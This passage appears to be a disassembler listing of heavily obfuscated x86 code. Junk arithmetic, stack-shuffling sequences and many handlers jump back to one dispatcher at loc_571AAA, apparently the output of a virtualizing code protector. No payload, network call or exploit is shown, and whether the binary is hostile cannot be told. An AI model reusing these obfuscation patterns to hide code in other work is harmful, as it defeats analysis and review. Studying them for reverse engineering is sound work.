loc_575703:				; CODE XREF: ud2_____:00573870j
		push	ebx
		jmp	loc_57936C
; ---------------------------------------------------------------------------


loc_575709:				; CODE XREF: ud2_____:00574A97j
		shl	ecx, 6
		inc	ecx
		jmp	loc_579B4C
; ---------------------------------------------------------------------------


loc_575712:				; CODE XREF: ud2_____:005750A1j
		inc	edi
		or	edi, 62E735E9h
		push	ebp
		jmp	loc_578EA8
; ---------------------------------------------------------------------------


loc_57571F:				; CODE XREF: ud2_____:00579609j
		pop	esp
		jmp	loc_57B00D
; ---------------------------------------------------------------------------


loc_575725:				; CODE XREF: ud2_____:005752D2j
		push	3CEBh
		mov	[esp], ebp
		not	dword ptr [esp]
		pop	ebp
		push	edx
		mov	edx, 6C230A08h
		add	edx, 32F742D6h
		jmp	loc_577F35
; ---------------------------------------------------------------------------


loc_575742:				; CODE XREF: ud2_____:0057A6E7j
		mov	esp, [esp]
		jmp	loc_576778
; ---------------------------------------------------------------------------


loc_57574A:				; CODE XREF: ud2_____:00576861j
		push	ebp
		jmp	loc_57D41A
; ---------------------------------------------------------------------------


loc_575750:				; CODE XREF: ud2_____:0057554Cj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_573EC0
; ---------------------------------------------------------------------------


loc_575761:				; CODE XREF: ud2_____:00573F1Fj
		neg	eax
		add	eax, 0D573D8B7h
		jmp	loc_576680
; ---------------------------------------------------------------------------


loc_57576D:				; CODE XREF: ud2_____:00573027j
		push	ebx
		mov	ebx, 4
		add	dword ptr [esp+4], 22EC2182h
		jmp	loc_577219
; ---------------------------------------------------------------------------


loc_575780:				; CODE XREF: ud2_____:0057C610j
		push	3FBh
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_577FDD
; ---------------------------------------------------------------------------


loc_57579C:				; CODE XREF: ud2_____:00572FFBj
		push	cx
		push	edx
		mov	dh, 59h
		mov	cl, dh
		pop	edx
		sub	bl, cl
		jmp	loc_57540E
; ---------------------------------------------------------------------------


loc_5757AB:				; CODE XREF: ud2_____:00573D2Ej
		mov	[esp], edi
		push	eax
		mov	eax, 4E111915h
		jmp	loc_57556A
; ---------------------------------------------------------------------------


loc_5757B9:				; CODE XREF: ud2_____:00575F88j
		mov	ebx, 2
		jmp	loc_573D8C
; ---------------------------------------------------------------------------


loc_5757C3:				; CODE XREF: ud2_____:005749D9j
		mov	ebx, 7FF8564Ch
		add	ebx, 1
		push	eax
		mov	eax, 46810ED5h
		sub	eax, 6FA3457Eh
		add	eax, 2A699BDAh
		and	ebx, eax
		jmp	loc_574844
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	7678h
		mov	[esp], ebx
		jmp	loc_57426C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_574F19
; ---------------------------------------------------------------------------


loc_57580E:				; CODE XREF: ud2_____:0057289Dj
		pop	ecx
		sub	ecx, 0D971A15h
		push	ecx
		push	eax
		pop	ecx
		pop	eax
		not	eax
		xchg	eax, ecx
		and	ecx, 2B776546h
		xor	ecx, 5D0D123Dh
		xor	eax, ecx
		push	dword ptr [esp]
		jmp	loc_5723E7
; ---------------------------------------------------------------------------


loc_575832:				; CODE XREF: ud2_____:00578DCEj
		jz	loc_57D5C9
		push	eax
		mov	eax, 1Ch
		sub	eax, 5C063621h
		sub	eax, 4C295DC1h
		add	eax, edi
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		jmp	loc_579338
; ---------------------------------------------------------------------------


loc_575858:				; CODE XREF: ud2_____:005745F6j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_573F63
; ---------------------------------------------------------------------------


loc_575867:				; CODE XREF: ud2_____:0057B425j
		mov	ecx, 685C3996h
		sub	ecx, 685C3992h
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp]
		jmp	loc_57774D
; ---------------------------------------------------------------------------


loc_57587D:				; CODE XREF: ud2_____:0057320Fj
		mov	ebp, 5A241AEh
		xor	ebp, 3C292D3Ch
		dec	ebp
		shl	ebp, 5
		xor	ebp, 10B8A5B1h
		mov	ebx, ebp
		pop	ebp
		mov	ecx, ebx
		pop	ebx
		and	ecx, 6D73724h
		neg	ecx
		inc	ecx
		and	ecx, 49C94646h
		push	edx
		mov	edx, 54CA538Ah
		jmp	loc_57A7EB
; ---------------------------------------------------------------------------


loc_5758B2:				; CODE XREF: ud2_____:0057DC77j
		add	al, bl
		sub	al, 0AEh
		add	al, 0Bh
		pop	ebx
		xor	al, 0A4h
		sub	bl, al
		pop	eax
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	39A4h
		mov	[esp], eax
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5758D1:				; CODE XREF: ud2_____:005761AAj
		mov	[esp], cx
		mov	cl, 20h
		xor	bl, cl
		pop	cx
		or	bl, 0E3h
		add	bl, 6Fh
		push	edx
		jmp	loc_576974
; ---------------------------------------------------------------------------


loc_5758E7:				; CODE XREF: ud2_____:0057C494j
		add	ecx, esi
		pop	esi
		push	edx
		mov	edx, 77D7656Eh
		jmp	loc_576D5B
; ---------------------------------------------------------------------------


loc_5758F5:				; CODE XREF: ud2_____:0057B37Cj
		mov	[esp], edx
		mov	edx, 6D8F0E92h
		not	edx
		xor	edx, 27067486h
		add	edx, 0FFFFFFFFh
		sub	edx, 0B57685E6h
		add	eax, edx
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2
		sub	eax, 7D1555B9h
		add	eax, edi
		jmp	loc_5739B3
; ---------------------------------------------------------------------------


loc_57592B:				; CODE XREF: ud2_____:005767EAj
		xor	edx, 4E67408Ah
		add	edx, 0E410E3C4h
		add	eax, edx
		pop	edx
		push	5FAAh
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_576CE5
; ---------------------------------------------------------------------------


loc_57594F:				; CODE XREF: ud2_____:0057541Dj
		mov	edi, [esp]
		add	esp, 4
		mov	[edx+30h], esi
		jmp	loc_57C691
; ---------------------------------------------------------------------------


loc_575960:				; CODE XREF: ud2_____:00574793j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5732CD
; ---------------------------------------------------------------------------


loc_57596C:				; CODE XREF: ud2_____:00573AC5j
		push	esi
		mov	esi, 148C2E6Dh
		push	edx
		mov	edx, 63B85E9Dh
		shl	edx, 8
		sub	edx, 42A91712h
		xor	edx, 53B77244h
		sub	edx, 7BF822D9h
		xor	edx, 0B9329FBCh
		and	esi, edx
		pop	edx
		inc	esi
		inc	esi
		or	esi, 5F2F480Bh
		jmp	loc_57A347
; ---------------------------------------------------------------------------


loc_5759A3:				; CODE XREF: ud2_____:0057CE0Cj
		mov	esp, [esp]
		jmp	loc_578D6C
; ---------------------------------------------------------------------------


loc_5759AB:				; CODE XREF: ud2_____:0057AB18j
		and	edi, edx
		pop	edx
		sub	edi, 0A28983F5h
		push	edx
		mov	edx, edi
		jmp	loc_5732E9
; ---------------------------------------------------------------------------


loc_5759BC:				; CODE XREF: ud2_____:00578BB1j
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_574F31
; ---------------------------------------------------------------------------


loc_5759D1:				; CODE XREF: ud2_____:0057BF5Dj
		jz	loc_57670E
		push	esp
		mov	esi, [esp]
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		jmp	loc_57AE66
; ---------------------------------------------------------------------------


loc_5759F2:				; CODE XREF: ud2_____:0057A9DBj
		mov	eax, [esp]
		add	esp, 4
		mov	[edi+eax*4+1], ch
		mov	ecx, [esp]
		jmp	loc_578932
; ---------------------------------------------------------------------------


loc_575A07:				; CODE XREF: ud2_____:00573487j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_577337
; ---------------------------------------------------------------------------


loc_575A14:				; CODE XREF: ud2_____:00579F7Ej
		sub	ebp, edx
		pop	edx
		sub	edx, ebp
		jmp	loc_5731D8
; ---------------------------------------------------------------------------


loc_575A1E:				; CODE XREF: ud2_____:00575121j
		xor	ch, 0FEh
		mov	al, ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_578A5F
; ---------------------------------------------------------------------------


loc_575A31:				; CODE XREF: ud2_____:0057A48Aj
		push	ecx
		mov	ecx, 41CA0763h
		mov	eax, 5BE78482h
		sub	eax, ecx
		pop	ecx
		add	eax, 1C2A7233h
		push	esi
		jmp	loc_57A6C0
; ---------------------------------------------------------------------------


loc_575A4A:				; CODE XREF: ud2_____:0057705Dj
		sub	ebp, 89F2AB5h
		jmp	loc_57893D
; ---------------------------------------------------------------------------


loc_575A55:				; CODE XREF: ud2_____:00574C91j
		mov	[esp], eax
		jmp	loc_57DC34
; ---------------------------------------------------------------------------


loc_575A5D:				; CODE XREF: ud2_____:0057B042j
		pop	esi
		add	eax, edi
		push	ebp
		jmp	loc_5779CA
; ---------------------------------------------------------------------------


loc_575A66:				; CODE XREF: ud2_____:00576ADEj
		add	edi, eax
		pop	eax
		push	ebx
		push	2
		jmp	loc_5743B2
; ---------------------------------------------------------------------------


loc_575A74:				; CODE XREF: ud2_____:005797AAj
		push	4
		pop	esi
		jmp	loc_57CDB9
; ---------------------------------------------------------------------------


loc_575A7F:				; CODE XREF: ud2_____:0057243Ej
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	bl, 0FCh
		jmp	loc_5750FA
; ---------------------------------------------------------------------------


loc_575A90:				; CODE XREF: ud2_____:0057BE4Bj
		push	ecx
		jmp	loc_572438
; ---------------------------------------------------------------------------


loc_575A96:				; CODE XREF: ud2_____:0057D1D7j
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_57CD99
; ---------------------------------------------------------------------------


loc_575AA3:				; CODE XREF: ud2_____:0057327Fj
		add	ebx, edi
		sub	ebx, 5CDD6313h
		xor	[ebx], ebp
		pop	ebx
		jmp	loc_5745BB
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], al
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_575AC2:				; CODE XREF: ud2_____:0057238Fj
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		shl	bh, 7
		add	bh, 0FFh
		jmp	loc_5756B6
; ---------------------------------------------------------------------------


loc_575AE3:				; CODE XREF: ud2_____:00576E83j
		mov	ch, 9Dh
		not	ch
		jmp	loc_57DBAC
; ---------------------------------------------------------------------------


loc_575AEC:				; CODE XREF: ud2_____:00576FACj
		push	ecx
		mov	ecx, 2B9D5693h
		inc	ecx
		and	ecx, 6DDE32E3h
		xor	ecx, 43C10CD5h
		xor	eax, ecx
		pop	ecx
		and	esi, eax
		pop	eax
		and	esi, 5B523CDCh
		xor	esi, 7E63385Dh
		jmp	loc_5797AF
; ---------------------------------------------------------------------------


loc_575B16:				; CODE XREF: ud2_____:0057A684j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_574E42
; ---------------------------------------------------------------------------


loc_575B24:				; CODE XREF: ud2_____:0057AE61j
		shl	eax, 3
		sub	eax, 3AF53E4Bh
		sub	eax, 71CD96C1h
		mov	ebp, eax
		pop	eax
		add	ebx, ebp
		pop	ebp
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_57B204
; ---------------------------------------------------------------------------


loc_575B42:				; CODE XREF: ud2_____:00574E8Fj
		push	esi
		mov	esi, 51BA6944h
		inc	esi
		add	esi, 799C6F94h
		inc	esi
		not	esi
		jmp	loc_57C9E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C59F


loc_575B57:				; CODE XREF: sub_59C59F-2A7D8j
		add	cl, 0E7h
		jmp	loc_57CE6B
; END OF FUNCTION CHUNK	FOR sub_59C59F
; ---------------------------------------------------------------------------


loc_575B5F:				; CODE XREF: ud2_____:00577543j
		not	ebx
		not	ebx
		xor	ebx, 61A3C244h
		jmp	loc_579329
; ---------------------------------------------------------------------------


loc_575B6E:				; CODE XREF: ud2_____:0057C159j
		push	esi
		mov	esi, 1
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_574928
; ---------------------------------------------------------------------------


loc_575B84:				; CODE XREF: ud2_____:0057C349j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		sub	ebx, 17933A92h
		push	ecx
		mov	ecx, 597B56A5h
		push	esi
		push	edx
		mov	edx, 4D115DBAh
		mov	esi, 851AB529h
		sub	esi, edx
		pop	edx
		jmp	loc_57A717
; ---------------------------------------------------------------------------


loc_575BBB:				; CODE XREF: ud2_____:0057B41Fj
		mov	[esp], edi
		push	esi
		push	eax
		push	18215E30h
		pop	eax
		add	eax, 38C61F46h
		or	eax, 6E266DFAh
		inc	eax
		sub	eax, 76F85CB4h
		jmp	loc_576FB1
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_575BE9:				; CODE XREF: ud2_____:005789E9j
		inc	ebx
		xor	ebx, 0B454AA28h
		sub	edx, ebx
		pop	ebx
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_575BF8:				; CODE XREF: ud2_____:00573CECj
		push	edx
		xor	dword ptr [esp], 4624Ch
		push	dword ptr [esp]
		pop	edi
		push	eax
		jmp	loc_57776D
; ---------------------------------------------------------------------------


loc_575C0A:				; CODE XREF: ud2_____:0057368Cj
		sub	ebx, eax
		pop	eax
		jmp	loc_571C6F
; ---------------------------------------------------------------------------


loc_575C12:				; CODE XREF: ud2_____:0057828Aj
		add	esp, 2
		push	ecx
		mov	ch, 0C6h
		not	ch
		add	ch, 70h
		add	al, ch
		jmp	loc_573312
; ---------------------------------------------------------------------------


loc_575C27:				; CODE XREF: ud2_____:0057816Bj
		mov	edi, ebx
		pop	ebx
		mov	ebx, edi
		pop	edi
		sub	edi, 89076F2h
		jmp	loc_577BBA
; ---------------------------------------------------------------------------


loc_575C38:				; CODE XREF: ud2_____:0057983Ej
		mov	[esp], ebp
		mov	ebp, 5B9D15C8h
		push	esi
		mov	esi, 0A915182h
		inc	esi
		sub	esi, 0FA9C44FCh
		sub	ebp, esi
		jmp	loc_574DD5
; ---------------------------------------------------------------------------


loc_575C54:				; CODE XREF: ud2_____:00578BA9j
		mov	al, 0A1h
		push	cx
		mov	ch, 0EFh
		or	al, ch
		pop	cx
		shr	al, 2
		dec	al
		not	al
		sub	al, 4Eh
		sub	bl, 47h
		sub	bl, 0B5h
		sub	bl, al
		push	eax
		mov	ah, 0F2h
		xor	ah, 47h
		add	bl, ah
		pop	eax
		jmp	loc_572FED
; ---------------------------------------------------------------------------


loc_575C7D:				; CODE XREF: ud2_____:00579D0Fj
		xchg	ebx, [esp]
		mov	esp, [esp]
		add	[esp], ax
		pushf
		jmp	loc_575650
; ---------------------------------------------------------------------------


loc_575C8D:				; CODE XREF: ud2_____:005723D6j
		dec	eax
		not	eax
		and	eax, 7E3530EEh
		and	eax, 70FA0E78h
		add	eax, 0D8C17476h
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		sub	ebp, eax
		pop	eax
		sub	[edi+24h], ebp
		pop	ebp


loc_575CB9:				; CODE XREF: ud2_____:0057C3CFj
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_571F5B
; ---------------------------------------------------------------------------


loc_575CCD:				; CODE XREF: ud2_____:00576D07j
		add	esp, 4
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_57C7AC
; ---------------------------------------------------------------------------


loc_575CE4:				; CODE XREF: ud2_____:0057832Dj
		mov	bh, 0E0h
		dec	bh
		not	bh
		sub	bh, 73h
		or	bh, 5Fh
		shl	bh, 7
		jmp	loc_57ACB5
; ---------------------------------------------------------------------------


loc_575CF8:				; CODE XREF: ud2_____:00571CAEj
		sub	eax, 4807D93h
		xor	eax, 200CA37h
		mov	ebp, eax
		pop	eax
		mov	esi, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_571B59
; ---------------------------------------------------------------------------


loc_575D10:				; CODE XREF: ud2_____:005760F9j
		mov	edi, 2DEF18A5h
		or	edi, 68E0798h
		shr	edi, 3
		inc	edi
		or	edi, 5BCB1F71h
		add	edi, 0A000000Bh
		add	ebx, 5BAC1E03h
		sub	ebx, 217046AEh
		add	ebx, edi
		add	ebx, 217046AEh
		jmp	loc_5749DE
; ---------------------------------------------------------------------------


loc_575D44:				; CODE XREF: ud2_____:00576221j
		add	eax, ebp
		pop	ebp
		push	eax
		jmp	loc_57AFED
; ---------------------------------------------------------------------------


loc_575D4D:				; CODE XREF: ud2_____:0057210Dj
		sub	edi, 0EE9E694Bh
		xor	edx, edi
		pop	edi
		dec	edx
		jmp	loc_57D402
; ---------------------------------------------------------------------------


loc_575D5C:				; CODE XREF: ud2_____:0057C40Fj
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		push	626Ch
		mov	[esp], edi
		mov	edi, 2
		add	ebp, edi
		push	dword ptr [esp]
		jmp	loc_576B26
; ---------------------------------------------------------------------------


loc_575D80:				; CODE XREF: ud2_____:0057D978j
		not	dword ptr [esp]
		pop	edx
		sub	edx, 70876D98h
		jmp	loc_57B96E
; ---------------------------------------------------------------------------


loc_575D8F:				; CODE XREF: ud2_____:0057C39Fj
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_572394
; ---------------------------------------------------------------------------


loc_575D9B:				; CODE XREF: ud2_____:00574361j
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------
		push	eax
		jmp	loc_57DA04
; ---------------------------------------------------------------------------


loc_575DAB:				; CODE XREF: ud2_____:0057A5F3j
		sub	esi, 54386A44h
		add	esi, eax
		add	esi, 54386A44h
		pop	eax
		add	esi, ebx
		sub	esi, 3CAA2858h
		pop	ebx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_575DD8:				; CODE XREF: ud2_____:0057CA8Dj
		shl	edi, 7
		xor	edi, 66B0373h
		push	edi
		jmp	loc_574C4A
; ---------------------------------------------------------------------------


loc_575DE7:				; CODE XREF: ud2_____:0057B7D6j
		pop	dword ptr [esp]
		pop	esp
		push	eax
		mov	eax, esp
		jmp	loc_572377
; ---------------------------------------------------------------------------


loc_575DF3:				; CODE XREF: ud2_____:00573A31j
		shr	edx, 1
		add	edx, 1FFC7371h
		push	edi
		mov	edi, 441B0C87h
		jmp	loc_57BEE3
; ---------------------------------------------------------------------------


loc_575E06:				; CODE XREF: ud2_____:00579C6Aj
		push	edi
		jmp	loc_57691C
; ---------------------------------------------------------------------------


loc_575E0C:				; CODE XREF: ud2_____:00576F16j
		mov	bx, [esp]
		add	esp, 2
		push	7E3Eh
		mov	[esp], ebx
		push	edx
		push	ecx
		jmp	loc_574FDA
; ---------------------------------------------------------------------------


loc_575E22:				; CODE XREF: ud2_____:005727ECj
		push	edi
		add	dword ptr [esp], 39D916CAh
		pop	ebx
		jmp	loc_573E18
; ---------------------------------------------------------------------------


loc_575E30:				; CODE XREF: ud2_____:00577CFCj
		cmp	dword ptr [edi+20h], 0
		jz	loc_5747FB
		push	eax
		mov	eax, 7E461ADAh
		sub	eax, 722664CBh
		sub	eax, 952E53B9h
		sub	esi, 377102F7h
		add	esi, eax
		add	esi, 377102F7h
		jmp	loc_574035
; ---------------------------------------------------------------------------


loc_575E5D:				; CODE XREF: ud2_____:005721D9j
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		push	small 29C0h
		mov	[esp], ax
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_575E75:				; CODE XREF: ud2_____:00577C67j
		mov	al, cl
		pop	ecx
		not	al
		jmp	loc_576F10
; ---------------------------------------------------------------------------


loc_575E7F:				; CODE XREF: ud2_____:0057BF17j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		push	ebx
		push	5012h
		mov	[esp], edx
		jmp	loc_5760AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C59F


loc_575E9E:				; CODE XREF: sub_59C59F-22DD6j
		mov	edi, 4
		sub	eax, edi
		pop	edi
		xchg	eax, [esp+28h+var_28]
		pop	esp
		mov	[esp+24h+var_24], ecx
		mov	ch, 2Dh
		sub	ch, 0C8h
		sub	al, 0Ch
		add	al, 0DFh
		add	al, ch
		jmp	loc_576901
; END OF FUNCTION CHUNK	FOR sub_59C59F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	4458h
		mov	[esp], ebx
		jmp	loc_57684A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	418h
		mov	[esp], edx
		mov	edx, esp
		push	ebp
		mov	ebp, 4
		sub	edx, 0DF20D5Dh
		add	edx, ebp
		add	edx, 0DF20D5Dh
		jmp	loc_57C2DB
; ---------------------------------------------------------------------------


loc_575EF5:				; CODE XREF: ud2_____:0057B4ABj
		push	30D7h
		mov	[esp], ebx
		jmp	loc_575F60
; ---------------------------------------------------------------------------


loc_575F02:				; CODE XREF: ud2_____:00572A84j
		add	esi, 20251508h
		and	edi, esi
		pop	esi
		jmp	loc_576866
; ---------------------------------------------------------------------------


loc_575F10:				; CODE XREF: ud2_____:0057A070j
		sub	eax, 127E6949h
		push	edi
		mov	edi, 74F0560Eh
		sub	eax, edi
		pop	edi
		add	eax, 702C45D8h
		jmp	loc_57BCE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C59F


loc_575F28:				; CODE XREF: sub_59C59F-27EB6j
		mov	ch, 0A6h
		sub	bl, ch
		pop	ecx
		add	bl, al
		jmp	loc_5791B2
; END OF FUNCTION CHUNK	FOR sub_59C59F
; ---------------------------------------------------------------------------


loc_575F34:				; CODE XREF: ud2_____:00578624j
		push	ecx
		push	edi
		mov	edi, 269C1D2Dh
		mov	ecx, edi
		pop	edi
		sub	edx, ecx
		pop	ecx
		jmp	loc_57BCFD
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		push	esp
		mov	esi, [esp]
		jmp	loc_579DA1
; ---------------------------------------------------------------------------


loc_575F54:				; CODE XREF: ud2_____:0057B708j
		mov	edi, 0A5F6C1C5h
		add	edi, ebp
		jmp	loc_576467
; ---------------------------------------------------------------------------


loc_575F60:				; CODE XREF: ud2_____:00575EFDj
		mov	ebx, 4
		add	eax, ebx
		mov	ebx, [esp]
		jmp	loc_575159
; ---------------------------------------------------------------------------


loc_575F6F:				; CODE XREF: ud2_____:005788AEj
		pop	ebp
		sub	eax, ebx
		push	ebp
		mov	ebp, 7956C48h
		jmp	loc_57BFA6
; ---------------------------------------------------------------------------


loc_575F7D:				; CODE XREF: ud2_____:0057537Cj
		push	5F66h
		jmp	loc_576BA7
; ---------------------------------------------------------------------------


loc_575F87:				; CODE XREF: ud2_____:005766A3j
		push	ebx
		jmp	loc_5757B9
; ---------------------------------------------------------------------------


loc_575F8D:				; CODE XREF: ud2_____:0057B7CEj
		push	ecx
		jmp	loc_579140
; ---------------------------------------------------------------------------


loc_575F93:				; CODE XREF: ud2_____:0057BE8Dj
		or	eax, esi
		pop	esi
		not	eax
		push	ebp
		mov	ebp, 382040A7h
		not	ebp
		jmp	loc_57C27A
; ---------------------------------------------------------------------------


loc_575FA5:				; CODE XREF: ud2_____:00578F4Fj
		push	esi
		mov	esi, 7C0C0E74h
		and	esi, 30B91B7Eh
		add	esi, 0CFF7F590h
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_573AD3
; ---------------------------------------------------------------------------


loc_575FC3:				; CODE XREF: ud2_____:005741E1j
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	4730h
		mov	[esp], ebp
		push	1
		jmp	loc_57AC37
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_57C883
; ---------------------------------------------------------------------------


loc_575FE2:				; CODE XREF: ud2_____:005763EEj
		mov	[esp], edx
		mov	edx, 3D662A97h
		shr	edx, 8
		add	edx, 333468CBh
		add	edx, 79066B83h
		sub	edx, 65550071h
		sub	edi, edx
		pop	edx
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		xchg	edi, [esp]
		pop	esp
		imul	cx
		push	small 4084h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_576033:				; CODE XREF: ud2_____:0057223Aj
		not	esi
		shl	esi, 2
		jmp	loc_57A48F
; ---------------------------------------------------------------------------


loc_57603D:				; CODE XREF: ud2_____:0057AE73j
		pop	esi
		jmp	loc_5795CC
; ---------------------------------------------------------------------------


loc_576043:				; CODE XREF: ud2_____:00578551j
		sub	eax, 36FBDC61h
		push	esi
		mov	esi, 1D80749Ch
		xor	eax, esi
		jmp	loc_57CB07
; ---------------------------------------------------------------------------


loc_576055:				; CODE XREF: ud2_____:0057C5F6j
		dec	ecx
		xor	ecx, 0CB852C0h
		xor	ecx, 0E36DD5B5h
		mov	edi, ecx
		jmp	loc_577630
; ---------------------------------------------------------------------------


loc_576069:				; CODE XREF: ud2_____:0057B241j
		xor	esi, [esp]
		jmp	loc_57787E
; ---------------------------------------------------------------------------


loc_576071:				; CODE XREF: ud2_____:005798DEj
		add	eax, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_5775BF
; ---------------------------------------------------------------------------


loc_57607C:				; CODE XREF: ud2_____:005766E8j
		add	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 1A7C224Ah
		xor	ebx, 0FC131B8h
		or	ebx, 661707BAh
		shr	ebx, 6
		jmp	loc_57A31E
; ---------------------------------------------------------------------------


loc_5760AC:				; CODE XREF: ud2_____:00575E99j
		push	ecx
		push	27076397h
		pop	ecx
		dec	ecx
		inc	ecx
		jmp	loc_5773CB
; ---------------------------------------------------------------------------
		lodsb
		push	ebx
		jmp	loc_57428C
; ---------------------------------------------------------------------------


loc_5760C1:				; CODE XREF: ud2_____:0057B860j
		mov	edx, 1
		jmp	loc_57CC9D
; ---------------------------------------------------------------------------


loc_5760CB:				; CODE XREF: ud2_____:0057C81Fj
		mov	[esp], ebx
		mov	ebx, 1
		and	ecx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		push	68F6h
		mov	[esp], edi
		jmp	loc_575D10
; ---------------------------------------------------------------------------


loc_5760FE:				; CODE XREF: ud2_____:005793D0j
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		push	edi
		push	182Bh
		jmp	loc_577EF5
; ---------------------------------------------------------------------------


loc_57612C:				; CODE XREF: ud2_____:0057D2A7j
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_576131:				; CODE XREF: ud2_____:005734B8j
		mov	esp, [esp]
		xor	[esp], al
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57613D:				; CODE XREF: ud2_____:00574D74j
		mov	al, 2Fh
		xor	al, 6
		push	bx
		mov	bl, 0BFh
		xor	al, bl
		mov	bx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_57695E
; ---------------------------------------------------------------------------


loc_576159:				; CODE XREF: ud2_____:005734C5j
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_576A1F
; ---------------------------------------------------------------------------


loc_576164:				; CODE XREF: ud2_____:00572CFBj
		add	esp, 4
		add	edx, 0A572B537h
		add	eax, 549A69A5h
		jmp	loc_577B7C
; ---------------------------------------------------------------------------


loc_576177:				; CODE XREF: ud2_____:00571F1Cj
		push	cx
		pushf
		jmp	loc_572A15
; ---------------------------------------------------------------------------


loc_57617F:				; CODE XREF: ud2_____:0057D4B4j
		mov	[esp], esi
		mov	esi, 742D0B48h
		mov	eax, 0D5544DB0h
		sub	eax, esi
		pop	esi
		jmp	loc_576B62
; ---------------------------------------------------------------------------


loc_576194:				; CODE XREF: ud2_____:0057379Ej
		sub	bh, 3Ch
		or	bh, 0C5h
		xor	bh, 0ABh
		add	bh, 92h
		add	al, bh
		pop	ebx
		push	ebx
		mov	bl, 6Ah
		push	small 6666h
		jmp	loc_5758D1
; ---------------------------------------------------------------------------


loc_5761AF:				; CODE XREF: ud2_____:0057A7AAj
		add	esi, 0E0901AF3h
		mov	eax, esi
		pop	esi
		add	esi, eax
		pop	eax
		push	ebx
		push	edx
		mov	edx, 27EC1CF9h
		inc	edx
		jmp	loc_57914D
; ---------------------------------------------------------------------------


